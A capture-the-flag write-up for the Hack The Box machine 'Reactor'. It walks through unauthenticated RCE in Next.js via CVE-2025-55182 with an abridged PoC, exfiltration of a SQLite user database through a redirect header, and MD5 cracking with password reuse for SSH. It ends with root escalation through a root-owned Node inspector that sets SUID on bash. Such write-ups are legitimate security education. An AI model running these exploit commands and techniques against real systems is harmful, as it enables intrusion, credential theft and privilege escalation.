Hackthebox: Reactor
Overview
Reactor is an easy-difficulty Linux machine from Hack The Box built around a modern JavaScript stack. We start with nothing but SSH and a Next.js app on port 3000, fingerprint it as an App Router build serving React Server Components, and abuse CVE-2025-55182 — the react2shell bug in Next.js’s React Flight deserializer — to get unauthenticated RCE as the node service account with nothing more than a Next-Action header. From inside the app root we exfiltrate the application’s SQLite database, which stores its user table as raw MD5, crack the engineer hash against a short theme-based wordlist, and find that the same password works for SSH on the host. A quick post-foothold sweep then reveals root running a Node.js worker with the V8 inspector bound to 127.0.0.1:9229 — an unauthenticated JavaScript REPL inside a root process. We speak the Chrome DevTools Protocol to it with a stdlib-only Python script, call Runtime.evaluate to drop a SUID bash, and that’s root.

Reconnaissance
We start off with our usual full-port nmap scan:
1 | nmap -Pn -p- --min-rate 5000 10.129.6.78 -oN nmap-fast.txt |
1 | PORT STATE SERVICE |
A small detour worth mentioning here, because it cost me a few minutes: my first scan only came back with port 22, and 3000 showed up as filtered. The culprit wasn’t the box at all — a pre-existing 10.129.0.0/16 route on my machine was pushing the traffic out of the wrong tun interface. Pinning a /32 host route to the actual VPN interface fixed it immediately:
1 | sudo ip route add 10.129.6.78/32 via 10.10.16.1 dev tun2 |
If a HTB box ever shows you a filtered high port while 22 answers fine, check your routing table before you start blaming the firewall.
With both ports visible, we run a service/version scan on them:
1 | nmap -sV -sC -p 22,3000 10.129.6.78 |
1 | 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0) |
nmap calling port 3000 ppp is just a fingerprinting miss — 3000 isn’t inside nmap’s default HTTP probe range, so it never gets the right probe. A raw curl clears it up straight away:
1 | curl -sI http://10.129.6.78:3000/ |
1 | HTTP/1.1 200 OK |
X-Powered-By: Next.js. Let’s pull the landing page and look at what it’s loading:
1 | curl -s http://10.129.6.78:3000/ | grep -Eio '<title>[^<]+|/_next/static/[^"]+' | head |
1 | <title>ReactorWatch | Core Monitoring System</title> |
Two things here are worth banking immediately:
- The
/_next/static/chunk paths plus amain-app-*.jschunk tell us this is a Next.js App Router build, and that chunk naming convention is post-13 (react-server-dom-webpack). - The HTML contains an inline flight payload — those
self.__next_f.push([1, …])blobs — which means the page is rendering React Server Components, and by extension the app has the Server Actions endpoint wired up.
That combination is exactly the attack surface for CVE-2025-55182, so that’s where we’re heading.
Foothold — CVE-2025-55182: React2Shell
CVE-2025-55182 (nicknamed react2shell) is an unauthenticated RCE in the way Next.js deserializes Server Action payloads. Here’s the shape of it.
When Next.js receives a Server Action request with a multipart/form-data body, the first part of that body is a JSON-encoded “reply” record which gets handed to decodeReplyFromBusboy(). That function resolves reference chains written as $<idx>:<key>:<key> — it walks object properties by name to rebuild the object graph. The bug is that it never checks whether the key it’s traversing is actually an own property of the object. So we can write a reference like $1:__proto__:then and climb straight out of the Flight protocol into native prototypes — most usefully to Function.prototype.constructor, which is the Function constructor itself. The deserializer then invokes the resolved then with a _prefix string we control, and that string gets evaluated as JavaScript.
The part that makes this so nasty is when it happens: the deserializer runs before any action authorization or validation. The only requirement on the request is that it carries a Next-Action header — the value doesn’t even need to be a real action ID. Unauthenticated code execution in the Node runtime serving the public listener.
There’s a public PoC by Chocapikk (W41T3D3V1L/COMPLETE-CVE-2025-55182), which I cleaned up into a single dependency-light script — same payload shape, minus the rich_click / fake_useragent baggage. The interesting half is the payload builder:
1 | # /tmp/reactor_exploit.py — abridged (payload builder) |
Two details in there deserve a closer look.
The _prefix string is the code V8 ends up evaluating, and _formData.get is the $<idx>:constructor:constructor chain that resolves to the Function constructor — that’s the prototype walk doing the actual escaping.
The second detail is the exfil channel, which is a neat trick. Our payload wraps the command output in throw Object.assign(new Error('NEXT_REDIRECT'), {digest: 'NEXT_REDIRECT;push;/login?a=<base64>;307;'}). Next.js has special handling for NEXT_REDIRECT errors: it catches them and copies the URL out of the digest field onto the response as an X-Action-Redirect header. So instead of needing a reverse shell to see our output, the base64’d execSync result rides back out inside a header on what looks like a perfectly ordinary 307 redirect. Fully blind becomes fully interactive.
Let’s fire it and see who we are:
1 | python3 /tmp/reactor_exploit.py http://10.129.6.78:3000 'id' |
1 | uid=999(node) gid=988(node) groups=988(node) |
Unauthenticated RCE as the node service account. Let’s get our bearings:
1 | python3 /tmp/reactor_exploit.py http://10.129.6.78:3000 'hostname; pwd; ls /opt' |
1 | reactor |
So /opt/reactor-app is the Next.js application root. And there’s a sibling directory, /opt/uptime-monitor, which has nothing to do with the web app — file that away, it’s going to be our privesc path later.
While we’re here, let’s confirm the version that got us in:
1 | python3 /tmp/reactor_exploit.py http://10.129.6.78:3000 'grep -E "\"next\"|\"react\"" /opt/reactor-app/package.json' |
1 | "next": "15.0.3", |
[email protected] sits squarely inside the vulnerable window — the fix landed in later 14.2.x and 15.x patch releases.
Looting the SQLite Database
Listing the app root turns up a reactor.db file sitting right next to the application code. Since our exfil channel is a base64 string inside an HTTP header, a binary SQLite file survives the trip just fine as long as we wrap it ourselves:
1 | python3 /tmp/reactor_exploit.py http://10.129.6.78:3000 'cat /opt/reactor-app/reactor.db | base64 -w0' > /tmp/reactor_db.b64 |
1 | 1|admin|a203b22191d744a4e70ada5c101b17b8|administrator|[email protected] |
Two accounts, and those are plain 32-character hex digests. No $<algo>$<salt>$ prefix, no application-side pepper — just straight md5(plaintext), which in 2025 is less of a hash and more of a formality.
Cracking the engineer Hash
rockyou.txt doesn’t get there (the copy on the box is a trimmed 59k-line subset anyway), so instead of brute-forcing we think about context for a second. The app is called ReactorWatch, the host is reactor, the domain is reactor.htb — box-themed passwords are a staple. A twelve-line guess list is enough:
1 | cat > /tmp/guesses.txt <<'EOF' |
1 | 39d97110eafe2a9a68639812cd271e8e:reactor1 |
Second entry on the list. engineer:reactor1.
User Flag — SSH as engineer
The credential we just cracked belongs to the web application’s user table, which in principle has nothing to do with the Linux accounts on the host. In practice, password reuse is forever:
1 | sshpass -p 'reactor1' ssh -o StrictHostKeyChecking=no [email protected] |
1 | engineer@reactor:~$ id |
And it works. That’s a real interactive shell as a proper user instead of the containerised node account, and the user flag is right there:
1 | engineer@reactor:~$ cat ~/user.txt |
1 | 1b50268ff07f34052ebf26d1736bf8ae |
Post-Foothold Enumeration
Now on to root. Rather than running the usual checks one at a time, I batched the whole sweep — sudo rights, SUID/SGID binaries, file capabilities, running processes and listening sockets — into a single command:
1 | engineer@reactor:~$ sudo -n -l 2>&1; echo "---SUID---"; \ |
The parts that matter:
1 | sudo: a password is required # no NOPASSWD entries |
No sudo, no SUID, no capabilities — and it doesn’t matter, because that last process line is the whole game:
1 | root /usr/bin/node --inspect=127.0.0.1:9229 /opt/uptime-monitor/worker.js |
That’s the /opt/uptime-monitor directory we spotted earlier, running as root, with the --inspect flag enabling the V8 inspector on the loopback.
Privilege Escalation — Abusing the Root-Owned Node Inspector
--inspect exposes the Chrome DevTools Protocol over a WebSocket, and CDP is not a read-only debugging view. The Runtime.evaluate method is a full JavaScript REPL executing inside the live V8 instance, with every privilege the host process holds. In a root process, Runtime.evaluate is a root shell with extra steps.
And there is no authentication on it. None. The inspector protocol has no credentials, no token, no handshake secret — the only access control it ships with is the bind address, and 127.0.0.1 stops meaning anything the moment you have a shell on the box. Every local user on this host can become root through that socket.
First, let’s confirm it’s alive and grab the WebSocket URL. The inspector serves a small HTTP endpoint next to the WebSocket for exactly this:
1 | engineer@reactor:~$ curl -s http://127.0.0.1:9229/json/list |
1 | [ { |
The usual advice at this point is to forward 9229 back over SSH and attach Chrome DevTools to it, but that’s unnecessary here — the inspector is already reachable from engineer’s own loopback, so we can just talk to it in place. The only hurdle is that the box has no websocket-client module, so I wrote a small stdlib-only script that does its own WebSocket framing and sends a single Runtime.evaluate frame:
1 | # /tmp/cdp_pwn.py — abridged |
It takes a JavaScript expression as its only argument, pulls the WebSocket URL out of /json/list so we don’t have to hardcode the session UUID, and prints whatever Runtime.evaluate hands back.
We copy it over and evaluate an expression that reaches into child_process from the root process and sets the SUID bit on /bin/bash:
1 | sshpass -p 'reactor1' scp /tmp/cdp_pwn.py [email protected]:/tmp/cdp_pwn.py |
1 | engineer@reactor:~$ python3 /tmp/cdp_pwn.py \ |
1 | { |
An empty string is exactly the result we want — chmod prints nothing on success, and Runtime.evaluate returning a clean "type": "string" instead of an exception object means our code ran inside the root process without complaint.
Root Flag
Let’s check the bit and cash it in:
1 | engineer@reactor:~$ ls -la /bin/bash; /bin/bash -p -c "id; cat /root/root.txt" |
1 | -rwsr-xr-x 1 root root 1446024 Mar 31 2024 /bin/bash |
The -p is the important flag there. Modern bash deliberately drops its effective UID back to the real UID on startup as a safety measure, so running a SUID bash without -p just gives you a normal shell. With -p it keeps euid=0, which is exactly what we see in the id output — and that’s root.
Worth noting before we close: patching CVE-2025-55182 alone wouldn’t have saved this box. The front-end RCE and the root-owned localhost inspector are two completely independent mistakes, and either one of them plus any other foothold on the host gets you to root. A debug flag left on in production is every bit as much a vulnerability as the CVE that got us in the front door.
That was it for Reactor, hope you learned something new!
- 0xkujen
- Title: Hackthebox: Reactor
- Author: Foued SAIDI
- Created at : 2026-10-08 18:20:00
- Updated at : 2026-10-08 18:51:37
- Link: https://kujen5.github.io/2026/10/08/Hackthebox-Reactor/
- License: This work is licensed under CC BY-NC-SA 4.0.